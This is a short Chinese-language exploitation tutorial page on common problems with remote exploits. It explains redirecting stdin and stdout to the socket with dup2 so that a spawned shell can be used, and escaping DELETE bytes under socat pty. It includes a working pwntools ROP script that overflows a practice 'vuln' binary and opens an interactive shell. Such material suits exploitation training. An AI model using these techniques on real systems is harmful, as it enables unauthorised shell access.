Common Exploiting Problems
远程利用中的文件描述符
当向调用**system('/bin/sh')**的远程服务器发送利用时,这将在服务器进程中执行,/bin/sh将期望从stdin(FD:0)接收输入,并将输出打印在stdout和stderr中(FDs 1和2)。 因此,攻击者将无法与shell进行交互。
修复此问题的一种方法是假设服务器启动时创建了FD编号3(用于监听),然后,您的连接将在**FD编号4中。 因此,可以使用系统调用dup2**将stdin(FD 0)和stdout(FD 1)复制到FD 4(攻击者连接的FD),从而使得一旦执行后可以联系shell。
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()Socat & pty
请注意,socat已经将**stdin和stdout传输到套接字。但是,pty模式包括DELETE字符**。因此,如果您发送\x7f(DELETE-),它将删除您的利用程序的前一个字符。
为了绕过这个问题,必须在发送任何\x7f之前添加转义字符\x16。
在这里你可以 找到这种行为的示例。
最后更新于